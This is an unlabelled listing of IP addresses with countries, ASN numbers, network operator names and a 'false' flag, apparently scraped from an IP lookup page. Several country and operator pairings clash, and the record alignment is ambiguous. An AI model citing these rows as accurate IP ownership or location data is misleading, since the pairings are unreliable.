 unknown Taiwan; Republic of China (ROC)
1659 ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC false
141.89.21.61
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
137.15.171.9
 unknown Canada
577 BACOMCA false
30.217.220.53
 unknown United States
7922 COMCAST-7922US false
49.59.36.107
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
136.34.233.80
 unknown United States
16591 GOOGLE-FIBERUS false
163.113.86.50
 unknown France
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
124.104.96.28
 unknown Philippines
9299 IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH false
103.199.102.178
 unknown Hong Kong
136800 XIAOZHIYUN1-AS-APICIDCNETWORKUS false
18.254.104.182
 unknown United States
16509 AMAZON-02US false
223.23.72.115
 unknown Taiwan; Republic of China (ROC)
17709 APTAsiaPacificTelecomTW false
97.208.174.116
 unknown United States
6167 CELLCO-PARTUS false
42.65.62.241
 unknown Taiwan; Republic of China (ROC)
4249 LILLY-ASUS false
38.143.85.198
 unknown United States
36126 RNESUS false
218.57.234.215
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
181.34.143.208
 unknown Venezuela
27889 TelecomunicacionesMOVILNETVE false